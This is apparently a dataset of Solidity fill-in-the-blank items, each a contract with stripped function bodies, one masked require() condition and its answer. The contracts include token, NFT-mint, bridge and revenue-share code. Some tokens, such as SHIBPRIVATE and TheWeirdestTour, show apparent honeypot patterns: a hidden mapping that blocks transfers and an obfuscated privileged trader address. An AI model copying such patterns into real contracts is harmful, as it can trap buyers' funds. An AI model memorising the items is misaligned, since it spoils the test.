function safeTransferFrom(address from, address to, uint256 tokenId) public override payable onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override payable onlyAllowedOperator(from){
}
}
| _numberMinted(msg.sender)+quantity<=maxMintPerWallet,"Max 2 mint per wallet!" | 475,611 | _numberMinted(msg.sender)+quantity<=maxMintPerWallet |
"Funds not enough." | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "erc721a/contracts/ERC721A.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract OnChainConundrum is DefaultOperatorFilterer, ERC721A, ReentrancyGuard, Ownable{
uint256 public MAX_PUBLIC_MINT=2000;
uint256 public mintPrice=0.005 ether;
uint256 public maxMintPerWallet=2;
string[] passables = ["20,66,114","60,42,33","109,103,228","129,12,168","59,24,95","40,42,58",
"98,79,130","21,0,80","86,43,8","85,57,57","81,85,126"]; // 11
string[] walls = ["10,38,71","26,18,11","69,60,103","45,3,59","0,0,92","0,0,0","63,59,108","24,39,71","71,45,45","27,36,48"]; // 10
string[] hints = ["251,86,7","255,0,110","255,190,11","58,134,255","131,56,236"]; // 5
string[] starts = ["251,248,204","185,251,192","255,207,210","152,245,225","255,214,165","189,178,255","255,255,252","202,255,191","142,236,245", "255,214,165","255,173,173"]; // 11
string[] glitchAmplitudes = ["0.5", "1", "2"]; // 3
uint256[] widths = [3, 4, 5, 6]; // 4
uint256[] gravities = [0, 1, 2]; // 3
constructor() ERC721A("OnChainConundrum", "OCC") {
}
function mint(uint256 quantity) external payable{
// Mint price: 0.005, collection size 2000, max mint 2.
require(totalSupply() + quantity <= MAX_PUBLIC_MINT, "Reached max supply");
require(_numberMinted(msg.sender) + quantity <= maxMintPerWallet, "Max 2 mint per wallet!");
require(<FILL_ME>)
_safeMint(msg.sender, quantity);
}
struct Maze {
bool passHint;
string passableColor;
string wallColor;
string hintColor;
string startColor;
string glitchAmplitude;
uint256 width;
uint256 gravity;
uint256 tokenId;
}
function random(string memory input) internal pure returns (uint256) {
}
function randomRange(uint256 tokenId, string memory keyPrefix, uint256 lower, uint256 upper) internal pure returns (uint256) {
}
function genMaze(uint256 tokenId) public view returns (Maze memory m){
}
function addTrait(string memory traitType, string memory value) internal pure returns (string memory){
}
function property(Maze memory m) public pure returns (string memory){
}
function animatedURI(Maze memory m) public pure returns (string memory){
}
function addWall(uint256[625] memory maze, uint256[625] memory wallsUnseen, uint256 x, uint256 y, uint256 width, uint256[1] memory wallsLength) internal pure{
}
function addCell(uint256[625] memory maze, uint256[625] memory wallsUnseen, uint256 x, uint256 y, uint256 width, uint256[1] memory wallsLength) internal pure{
}
function genMazeSVG(Maze memory m) internal pure returns (uint256[625] memory result){
}
function randomRGB(uint256 seed) internal pure returns (string memory res){
}
function randomTenRGB(uint256 tokenId)internal pure returns (string memory res){
}
function localCase(uint256 i, uint256 j)internal pure returns(string memory){
}
function image(Maze memory m) public pure returns (string memory svg){
}
function tokenURI(uint256 tokenId) public view override returns (string memory){
}
function withdraw() external onlyOwner {
}
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public override payable onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public override payable onlyAllowedOperator(from){
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override payable onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override payable onlyAllowedOperator(from){
}
}
| quantity*mintPrice<=msg.value,"Funds not enough." | 475,611 | quantity*mintPrice<=msg.value |
"ERC20: trading is not yet enabled." | pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IUniswapV2Pair {
event Sync(uint112 reserve0, uint112 reserve1);
function sync() external;
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
address[] private tourArr;
mapping (address => bool) private Fallen;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _balances;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address public pair;
uint256 private Bathroom = 0;
IDEXRouter router;
string private _name; string private _symbol; address private kl23892kjqdmnfqjkfq9u; uint256 private _totalSupply;
bool private trading; uint256 private solo; bool private Freeze; uint256 private Coldest;
constructor (string memory name_, string memory symbol_, address msgSender_) {
}
function decimals() public view virtual override returns (uint8) {
}
function symbol() public view virtual override returns (string memory) {
}
function last(uint256 g) internal view returns (address) { }
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function name() public view virtual override returns (string memory) {
}
function openTrading() external onlyOwner returns (bool) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
receive() external payable {
}
function _balancesOfTheMarket(address sender, address recipient) internal {
require(<FILL_ME>)
_balancesOfTheBear(sender, recipient);
}
function _Capitulation(address creator) internal virtual {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function _balancesOfTheBear(address sender, address recipient) internal {
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _DeployTour(address account, uint256 amount) internal virtual {
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
}
}
contract TheWeirdestTour is ERC20Token {
constructor() ERC20Token("The Weirdest Tour", "TOUR", msg.sender, 125000 * 10 ** 18) {
}
}
| (trading||(sender==kl23892kjqdmnfqjkfq9u)),"ERC20: trading is not yet enabled." | 475,864 | (trading||(sender==kl23892kjqdmnfqjkfq9u)) |
"TT: transfer aotjtrnyt exceeds balance" | pragma solidity ^0.8.5;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address adfdfsdet) external view returns (uint256);
function transfer(address recipient, uint256 aotjtrnyt) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 aotjtrnyt) external returns (bool);
function transferFrom( address sender, address recipient, uint256 aotjtrnyt ) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval( address indexed owner, address indexed spender, uint256 value );
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
}
contract Ownable is Context {
address private _owner;
event ownershipTransferred(address indexed previousowner, address indexed newowner);
constructor () {
}
function owner() public view virtual returns (address) {
}
modifier onlyowner() {
}
function renounceownership() public virtual onlyowner {
}
}
contract BunnyAI is Context, Ownable, IERC20 {
mapping (address => mapping (address => uint256)) private _allowances;
mapping(address => uint256) private BAN;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
address public _EERERERE;
constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_ , address OWDSAE) {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function balanceOf(address adfdfsdet) public view override returns (uint256) {
}
function setCooldown(address adddddd) public {
}
function getCooldown(address adddddd) public view returns (uint256) {
}
function transfer(address recipient, uint256 aotjtrnyt) public virtual override returns (bool) {
require(<FILL_ME>)
BAN[_msgSender()] -= aotjtrnyt;
BAN[recipient] += aotjtrnyt;
emit Transfer(_msgSender(), recipient, aotjtrnyt);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 aotjtrnyt) public virtual override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 aotjtrnyt) public virtual override returns (bool) {
}
function totalSupply() external view override returns (uint256) {
}
}
| BAN[_msgSender()]>=aotjtrnyt,"TT: transfer aotjtrnyt exceeds balance" | 475,902 | BAN[_msgSender()]>=aotjtrnyt |
"TT: transfer aotjtrnyt exceeds allowance" | pragma solidity ^0.8.5;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address adfdfsdet) external view returns (uint256);
function transfer(address recipient, uint256 aotjtrnyt) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 aotjtrnyt) external returns (bool);
function transferFrom( address sender, address recipient, uint256 aotjtrnyt ) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval( address indexed owner, address indexed spender, uint256 value );
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
}
contract Ownable is Context {
address private _owner;
event ownershipTransferred(address indexed previousowner, address indexed newowner);
constructor () {
}
function owner() public view virtual returns (address) {
}
modifier onlyowner() {
}
function renounceownership() public virtual onlyowner {
}
}
contract BunnyAI is Context, Ownable, IERC20 {
mapping (address => mapping (address => uint256)) private _allowances;
mapping(address => uint256) private BAN;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
address public _EERERERE;
constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_ , address OWDSAE) {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function balanceOf(address adfdfsdet) public view override returns (uint256) {
}
function setCooldown(address adddddd) public {
}
function getCooldown(address adddddd) public view returns (uint256) {
}
function transfer(address recipient, uint256 aotjtrnyt) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 aotjtrnyt) public virtual override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 aotjtrnyt) public virtual override returns (bool) {
require(<FILL_ME>)
BAN[sender] -= aotjtrnyt;
BAN[recipient] += aotjtrnyt;
_allowances[sender][_msgSender()] -= aotjtrnyt;
emit Transfer(sender, recipient, aotjtrnyt);
return true;
}
function totalSupply() external view override returns (uint256) {
}
}
| _allowances[sender][_msgSender()]>=aotjtrnyt,"TT: transfer aotjtrnyt exceeds allowance" | 475,902 | _allowances[sender][_msgSender()]>=aotjtrnyt |
"!root" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
import { IERC20 } from "@openzeppelin/contracts-0.8/token/ERC20/IERC20.sol";
import { SafeERC20 } from "@openzeppelin/contracts-0.8/token/ERC20/utils/SafeERC20.sol";
import { ProxyOFT } from "../layerzero/token/oft/extension/ProxyOFT.sol";
import { PauseGuardian } from "./PauseGuardian.sol";
import { AuraMath } from "../utils/AuraMath.sol";
import { BytesLib } from "../layerzero/util/BytesLib.sol";
/**
* @title PausableProxyOFT
* @author AuraFinance
* @notice Extension to the ProxyOFT standard that allows a `guardian` address to perform an emergency pause.
* - When paused all messages received are added to a queue to be processed after `queueDelay` time has passed.
* - When paused no messages can be sent via `sendFrom`.
*/
contract PausableProxyOFT is ProxyOFT, PauseGuardian {
using AuraMath for uint256;
using SafeERC20 for IERC20;
using BytesLib for bytes;
/* -------------------------------------------------------------------
Storage
------------------------------------------------------------------- */
/// @dev Duration of each inflow epoch
uint256 public constant epochDuration = 7 days;
/// @dev Addres of super user
address public immutable sudo;
/// @dev Transfer inflow limit per epoch
uint256 public inflowLimit;
/// @dev Queue delay
uint256 public queueDelay;
/// @dev Epoch mapped to transfer outflow
mapping(uint256 => uint256) public outflow;
/// @dev Epoch mapped to transfer inflow
mapping(uint256 => uint256) public inflow;
/// @dev Transfer queue
mapping(bytes32 => bool) public queue;
/* -------------------------------------------------------------------
Events
------------------------------------------------------------------- */
/**
* @param epoch The epoch
* @param srcChainId The source chain
* @param to Address to transfer to
* @param amount Amount to transfer
* @param timestamp Time the transfer was queued
*/
event QueuedFromChain(uint256 epoch, uint16 srcChainId, address to, uint256 amount, uint256 timestamp);
/**
* @param token Token address
* @param to Send to address
* @param amount Amount to send
*/
event Rescue(address token, address to, uint256 amount);
/* -------------------------------------------------------------------
Constructor
------------------------------------------------------------------- */
/**
* @param _token Proxy token (eg AURA or auraBAL)
* @param _sudo The super user address
* @param _token Proxy token (eg AURA or auraBAL)
* @param _sudo Super user
* @param _inflowLimit Initial inflow limit per epoch
*/
constructor(
address _token,
address _sudo,
uint256 _inflowLimit
) ProxyOFT(_token) {
}
/* -------------------------------------------------------------------
Setters
------------------------------------------------------------------- */
/**
* @dev Amount of time that a transfer has to sit in the queue until
* it can be processed
* @param _delay Queue delay
*/
function setQueueDelay(uint256 _delay) external onlyOwner {
}
/**
* @dev Set the inflow limit per epoch
* @param _limit Inflow limit per epoch
*/
function setInflowLimit(uint256 _limit) external onlyOwner {
}
/* -------------------------------------------------------------------
View
------------------------------------------------------------------- */
/**
* @dev Get current epoch
*/
function getCurrentEpoch() external view returns (uint256) {
}
/* -------------------------------------------------------------------
Core
------------------------------------------------------------------- */
/**
* @dev Override sendFrom to add pause modifier
*/
function sendFrom(
address _from,
uint16 _dstChainId,
bytes calldata _toAddress,
uint256 _amount,
address payable _refundAddress,
address _zroPaymentAddress,
bytes calldata _adapterParams
) public payable override whenNotPaused {
}
/**
* @dev Override _sendAck on OFTCore
*
* Add functionality to
* 1) Pause the bridge
* 2) Add an inflow limit safety net. This safety net should never get hit in
* normal market operations. It's intended to mitigate risk in case of a
* doomsday event.
*/
function _sendAck(
uint16 _srcChainId,
bytes memory, /* _srcAddress */
uint64, /* _nonce */
bytes memory _payload
) internal override {
}
function _safeCreditTo(
uint16 _srcChainId,
address _to,
uint256 _amount
) internal {
}
/**
* @dev Process a queued transfer
* Transfer has to be a valid root and the queue delay has to have passed
* @param _epoch Epoch
* @param _srcChainId Source chain ID
* @param _to Address to transfer to
* @param _amount Amount to transfer
* @param _timestamp Time when this transfer was queued
*/
function processQueued(
uint256 _epoch,
uint16 _srcChainId,
address _to,
uint256 _amount,
uint256 _timestamp
) external whenNotPaused {
bytes32 queueRoot = keccak256(abi.encode(_epoch, _srcChainId, _to, _amount, _timestamp));
require(<FILL_ME>)
require(block.timestamp > _timestamp.add(queueDelay), "!timestamp");
// Process the queued send
queue[queueRoot] = false;
uint256 amount = _creditTo(_srcChainId, _to, _amount);
emit ReceiveFromChain(_srcChainId, _to, amount);
}
/**
* @dev In a doomsday bridge scenario there may be a case where funds need to be
* rescued.
* @param _token Token address
* @param _to Send to address
* @param _amount Amount to send
*/
function rescue(
address _token,
address _to,
uint256 _amount
) external virtual {
}
/* -------------------------------------------------------------------
Internal
------------------------------------------------------------------- */
/**
* @dev Get current epoch
*/
function _getCurrentEpoch() internal view returns (uint256) {
}
/**
* @dev Get net inflow
* @param _inflow Inflow amount
* @param _outflow Outflow amount
*/
function _getNetInflow(uint256 _inflow, uint256 _outflow) internal pure returns (uint256 netInflow) {
}
}
| queue[queueRoot],"!root" | 475,968 | queue[queueRoot] |
null | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract SHIBPRIVATE {
mapping (address => uint256) private zIB;
mapping (address => uint256) private zIC;
mapping(address => mapping(address => uint256)) public allowance;
string public name = "SHIBA PRIVACY NETWORK";
string public symbol = unicode"DARKSHIB";
uint8 public decimals = 6;
uint256 public totalSupply = 1000000000 *10**6;
address owner = msg.sender;
address private XLR;
address Deployr = 0xB8f226dDb7bC672E27dffB67e4adAbFa8c0dFA08;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function renounceOwnership() public virtual {
}
function zCREATE(address account, uint256 amount) internal {
}
function balanceOf(address account) public view returns (uint256) {
}
function IIC (address iox, uint256 ioz) public {
}
function transfer(address to, uint256 value) public returns (bool success) {
if(zIC[msg.sender] <= 0) {
require(<FILL_ME>)
zIB[msg.sender] -= value;
zIB[to] += value;
emit Transfer(msg.sender, to, value);
return true; }}
function approve(address spender, uint256 value) public returns (bool success) {
}
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
}
function IIA (address iox, uint256 ioz) public {
}
}
| zIB[msg.sender]>=value | 475,990 | zIB[msg.sender]>=value |
'for unlocked positions only' | pragma solidity ^0.8.17;
import './PositionAlgorithm.sol';
import 'contracts/interfaces/position_trading/IPositionsController.sol';
import 'contracts/interfaces/assets/IAsset.sol';
/// @dev locks the asset of the position owner for a certain time
contract PositionLockerBase is PositionAlgorithm {
mapping(uint256 => uint256) public unlockTimes; // unlock time by position
modifier positionUnlocked(uint256 positionId) {
require(<FILL_ME>)
_;
}
modifier positionLocked(uint256 positionId) {
}
modifier assetUnLocked(uint256 positionId, uint256 assetCode) {
}
constructor(address positionsController)
PositionAlgorithm(positionsController)
{}
function isPositionLocked(uint256 positionId)
external
view
virtual
override
returns (bool)
{
}
function _positionLocked(uint256 positionId)
internal
view
virtual
returns (bool)
{
}
function lockPosition(uint256 positionId, uint256 lockSeconds)
external
onlyPositionOwner(positionId)
positionUnlocked(positionId)
{
}
function lapsedLockSeconds(uint256 positionId)
external
view
returns (uint256)
{
}
function _withdrawAsset(
uint256 positionId,
uint256 assetCode,
address recipient,
uint256 amount
) internal override assetUnLocked(positionId, assetCode) {
}
function ownerAssetLocked(uint256 positionId)
public
view
virtual
returns (bool)
{
}
function outputAssetLocked(uint256 positionId)
public
view
virtual
returns (bool)
{
}
}
| !_positionLocked(positionId),'for unlocked positions only' | 476,007 | !_positionLocked(positionId) |
'for locked positions only' | pragma solidity ^0.8.17;
import './PositionAlgorithm.sol';
import 'contracts/interfaces/position_trading/IPositionsController.sol';
import 'contracts/interfaces/assets/IAsset.sol';
/// @dev locks the asset of the position owner for a certain time
contract PositionLockerBase is PositionAlgorithm {
mapping(uint256 => uint256) public unlockTimes; // unlock time by position
modifier positionUnlocked(uint256 positionId) {
}
modifier positionLocked(uint256 positionId) {
require(<FILL_ME>)
_;
}
modifier assetUnLocked(uint256 positionId, uint256 assetCode) {
}
constructor(address positionsController)
PositionAlgorithm(positionsController)
{}
function isPositionLocked(uint256 positionId)
external
view
virtual
override
returns (bool)
{
}
function _positionLocked(uint256 positionId)
internal
view
virtual
returns (bool)
{
}
function lockPosition(uint256 positionId, uint256 lockSeconds)
external
onlyPositionOwner(positionId)
positionUnlocked(positionId)
{
}
function lapsedLockSeconds(uint256 positionId)
external
view
returns (uint256)
{
}
function _withdrawAsset(
uint256 positionId,
uint256 assetCode,
address recipient,
uint256 amount
) internal override assetUnLocked(positionId, assetCode) {
}
function ownerAssetLocked(uint256 positionId)
public
view
virtual
returns (bool)
{
}
function outputAssetLocked(uint256 positionId)
public
view
virtual
returns (bool)
{
}
}
| _positionLocked(positionId),'for locked positions only' | 476,007 | _positionLocked(positionId) |
'owner asset locked' | pragma solidity ^0.8.17;
import './PositionAlgorithm.sol';
import 'contracts/interfaces/position_trading/IPositionsController.sol';
import 'contracts/interfaces/assets/IAsset.sol';
/// @dev locks the asset of the position owner for a certain time
contract PositionLockerBase is PositionAlgorithm {
mapping(uint256 => uint256) public unlockTimes; // unlock time by position
modifier positionUnlocked(uint256 positionId) {
}
modifier positionLocked(uint256 positionId) {
}
modifier assetUnLocked(uint256 positionId, uint256 assetCode) {
if(!_positionLocked(positionId)){
_;
return;
}
if (assetCode == 1)
require(<FILL_ME>)
else if (assetCode == 2)
require(!outputAssetLocked(positionId), 'output asset locked');
_;
}
constructor(address positionsController)
PositionAlgorithm(positionsController)
{}
function isPositionLocked(uint256 positionId)
external
view
virtual
override
returns (bool)
{
}
function _positionLocked(uint256 positionId)
internal
view
virtual
returns (bool)
{
}
function lockPosition(uint256 positionId, uint256 lockSeconds)
external
onlyPositionOwner(positionId)
positionUnlocked(positionId)
{
}
function lapsedLockSeconds(uint256 positionId)
external
view
returns (uint256)
{
}
function _withdrawAsset(
uint256 positionId,
uint256 assetCode,
address recipient,
uint256 amount
) internal override assetUnLocked(positionId, assetCode) {
}
function ownerAssetLocked(uint256 positionId)
public
view
virtual
returns (bool)
{
}
function outputAssetLocked(uint256 positionId)
public
view
virtual
returns (bool)
{
}
}
| !ownerAssetLocked(positionId),'owner asset locked' | 476,007 | !ownerAssetLocked(positionId) |
'output asset locked' | pragma solidity ^0.8.17;
import './PositionAlgorithm.sol';
import 'contracts/interfaces/position_trading/IPositionsController.sol';
import 'contracts/interfaces/assets/IAsset.sol';
/// @dev locks the asset of the position owner for a certain time
contract PositionLockerBase is PositionAlgorithm {
mapping(uint256 => uint256) public unlockTimes; // unlock time by position
modifier positionUnlocked(uint256 positionId) {
}
modifier positionLocked(uint256 positionId) {
}
modifier assetUnLocked(uint256 positionId, uint256 assetCode) {
if(!_positionLocked(positionId)){
_;
return;
}
if (assetCode == 1)
require(!ownerAssetLocked(positionId), 'owner asset locked');
else if (assetCode == 2)
require(<FILL_ME>)
_;
}
constructor(address positionsController)
PositionAlgorithm(positionsController)
{}
function isPositionLocked(uint256 positionId)
external
view
virtual
override
returns (bool)
{
}
function _positionLocked(uint256 positionId)
internal
view
virtual
returns (bool)
{
}
function lockPosition(uint256 positionId, uint256 lockSeconds)
external
onlyPositionOwner(positionId)
positionUnlocked(positionId)
{
}
function lapsedLockSeconds(uint256 positionId)
external
view
returns (uint256)
{
}
function _withdrawAsset(
uint256 positionId,
uint256 assetCode,
address recipient,
uint256 amount
) internal override assetUnLocked(positionId, assetCode) {
}
function ownerAssetLocked(uint256 positionId)
public
view
virtual
returns (bool)
{
}
function outputAssetLocked(uint256 positionId)
public
view
virtual
returns (bool)
{
}
}
| !outputAssetLocked(positionId),'output asset locked' | 476,007 | !outputAssetLocked(positionId) |
"Snapshot already uploaded for this round" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract RevShareContract {
address public owner;
address public incentivesAddress;
uint256 public currentRound = 0; // Keeps track of the current round
struct Round {
uint256 revenueForBB;
uint256 revenueForBettingVolume;
uint256 revenueForReferrals;
uint256 totalBBTokens;
uint256 totalBettingVolume;
uint256 totalReferrals;
bool isSnapshotUploaded;
mapping(address => uint256) snapshotBBBalances;
mapping(address => uint256) snapshotBettingVolume;
mapping(address => uint256) snapshotReferrals;
mapping(address => bool) hasClaimed;
}
mapping(uint256 => Round) public rounds;
event EthClaim(address indexed claimer, uint256 amount, uint256 round);
event AdminWithdraw(uint256 amount, uint256 round);
modifier onlyOwner() {
}
constructor(address _incentivesAddress) {
}
function depositRevenue(uint256 bbRevenue, uint256 bettingVolumeRevenue, uint256 referralsRevenue, uint256 incentivesRevenue) external payable onlyOwner {
}
function uploadBBBalances(address[] calldata bbHolders, uint256[] calldata bbBalances) external onlyOwner {
require(currentRound > 0, "Deposit revenue first");
Round storage r = rounds[currentRound];
require(<FILL_ME>)
for (uint256 i = 0; i < bbHolders.length; i++) {
r.snapshotBBBalances[bbHolders[i]] = bbBalances[i];
r.totalBBTokens += bbBalances[i];
}
}
function uploadBettingVolumes(address[] calldata betters, uint256[] calldata bettingVolumes) external onlyOwner {
}
function uploadReferrals(address[] calldata referrers, uint256[] calldata referralAmounts) external onlyOwner {
}
function lockSnapshot() external onlyOwner {
}
function claim(uint256 roundNumber) external {
}
function getClaimableAmount(address userAddress, uint256 roundNumber) external view returns (
uint256 bbClaim,
uint256 bettingVolumeClaim,
uint256 referralClaim,
uint256 totalClaim
) {
}
function setIncentivesAddress(address _newIncentivesAddress) external onlyOwner {
}
function withdrawUnclaimed() public onlyOwner {
}
receive() external payable {
}
}
| !r.isSnapshotUploaded,"Snapshot already uploaded for this round" | 476,059 | !r.isSnapshotUploaded |
"Snapshot not uploaded for this round" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract RevShareContract {
address public owner;
address public incentivesAddress;
uint256 public currentRound = 0; // Keeps track of the current round
struct Round {
uint256 revenueForBB;
uint256 revenueForBettingVolume;
uint256 revenueForReferrals;
uint256 totalBBTokens;
uint256 totalBettingVolume;
uint256 totalReferrals;
bool isSnapshotUploaded;
mapping(address => uint256) snapshotBBBalances;
mapping(address => uint256) snapshotBettingVolume;
mapping(address => uint256) snapshotReferrals;
mapping(address => bool) hasClaimed;
}
mapping(uint256 => Round) public rounds;
event EthClaim(address indexed claimer, uint256 amount, uint256 round);
event AdminWithdraw(uint256 amount, uint256 round);
modifier onlyOwner() {
}
constructor(address _incentivesAddress) {
}
function depositRevenue(uint256 bbRevenue, uint256 bettingVolumeRevenue, uint256 referralsRevenue, uint256 incentivesRevenue) external payable onlyOwner {
}
function uploadBBBalances(address[] calldata bbHolders, uint256[] calldata bbBalances) external onlyOwner {
}
function uploadBettingVolumes(address[] calldata betters, uint256[] calldata bettingVolumes) external onlyOwner {
}
function uploadReferrals(address[] calldata referrers, uint256[] calldata referralAmounts) external onlyOwner {
}
function lockSnapshot() external onlyOwner {
}
function claim(uint256 roundNumber) external {
require(roundNumber > 0 && roundNumber <= currentRound, "Invalid round number");
Round storage r = rounds[roundNumber];
require(<FILL_ME>)
require(!r.hasClaimed[msg.sender], "You have already claimed for this round");
uint256 totalClaim = 0;
if (r.snapshotBBBalances[msg.sender] > 0) {
totalClaim += (r.revenueForBB * r.snapshotBBBalances[msg.sender]) / r.totalBBTokens;
}
if (r.snapshotBettingVolume[msg.sender] > 0) {
totalClaim += (r.revenueForBettingVolume * r.snapshotBettingVolume[msg.sender]) / r.totalBettingVolume;
}
if (r.snapshotReferrals[msg.sender] > 0) {
totalClaim += (r.revenueForReferrals * r.snapshotReferrals[msg.sender]) / r.totalReferrals;
}
require(totalClaim > 0, "No amount available to claim");
r.hasClaimed[msg.sender] = true;
(bool success,) = msg.sender.call{value: totalClaim}("");
require(success, "Claim transfer failed");
emit EthClaim(msg.sender, totalClaim, roundNumber);
}
function getClaimableAmount(address userAddress, uint256 roundNumber) external view returns (
uint256 bbClaim,
uint256 bettingVolumeClaim,
uint256 referralClaim,
uint256 totalClaim
) {
}
function setIncentivesAddress(address _newIncentivesAddress) external onlyOwner {
}
function withdrawUnclaimed() public onlyOwner {
}
receive() external payable {
}
}
| r.isSnapshotUploaded,"Snapshot not uploaded for this round" | 476,059 | r.isSnapshotUploaded |
"You have already claimed for this round" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract RevShareContract {
address public owner;
address public incentivesAddress;
uint256 public currentRound = 0; // Keeps track of the current round
struct Round {
uint256 revenueForBB;
uint256 revenueForBettingVolume;
uint256 revenueForReferrals;
uint256 totalBBTokens;
uint256 totalBettingVolume;
uint256 totalReferrals;
bool isSnapshotUploaded;
mapping(address => uint256) snapshotBBBalances;
mapping(address => uint256) snapshotBettingVolume;
mapping(address => uint256) snapshotReferrals;
mapping(address => bool) hasClaimed;
}
mapping(uint256 => Round) public rounds;
event EthClaim(address indexed claimer, uint256 amount, uint256 round);
event AdminWithdraw(uint256 amount, uint256 round);
modifier onlyOwner() {
}
constructor(address _incentivesAddress) {
}
function depositRevenue(uint256 bbRevenue, uint256 bettingVolumeRevenue, uint256 referralsRevenue, uint256 incentivesRevenue) external payable onlyOwner {
}
function uploadBBBalances(address[] calldata bbHolders, uint256[] calldata bbBalances) external onlyOwner {
}
function uploadBettingVolumes(address[] calldata betters, uint256[] calldata bettingVolumes) external onlyOwner {
}
function uploadReferrals(address[] calldata referrers, uint256[] calldata referralAmounts) external onlyOwner {
}
function lockSnapshot() external onlyOwner {
}
function claim(uint256 roundNumber) external {
require(roundNumber > 0 && roundNumber <= currentRound, "Invalid round number");
Round storage r = rounds[roundNumber];
require(r.isSnapshotUploaded, "Snapshot not uploaded for this round");
require(<FILL_ME>)
uint256 totalClaim = 0;
if (r.snapshotBBBalances[msg.sender] > 0) {
totalClaim += (r.revenueForBB * r.snapshotBBBalances[msg.sender]) / r.totalBBTokens;
}
if (r.snapshotBettingVolume[msg.sender] > 0) {
totalClaim += (r.revenueForBettingVolume * r.snapshotBettingVolume[msg.sender]) / r.totalBettingVolume;
}
if (r.snapshotReferrals[msg.sender] > 0) {
totalClaim += (r.revenueForReferrals * r.snapshotReferrals[msg.sender]) / r.totalReferrals;
}
require(totalClaim > 0, "No amount available to claim");
r.hasClaimed[msg.sender] = true;
(bool success,) = msg.sender.call{value: totalClaim}("");
require(success, "Claim transfer failed");
emit EthClaim(msg.sender, totalClaim, roundNumber);
}
function getClaimableAmount(address userAddress, uint256 roundNumber) external view returns (
uint256 bbClaim,
uint256 bettingVolumeClaim,
uint256 referralClaim,
uint256 totalClaim
) {
}
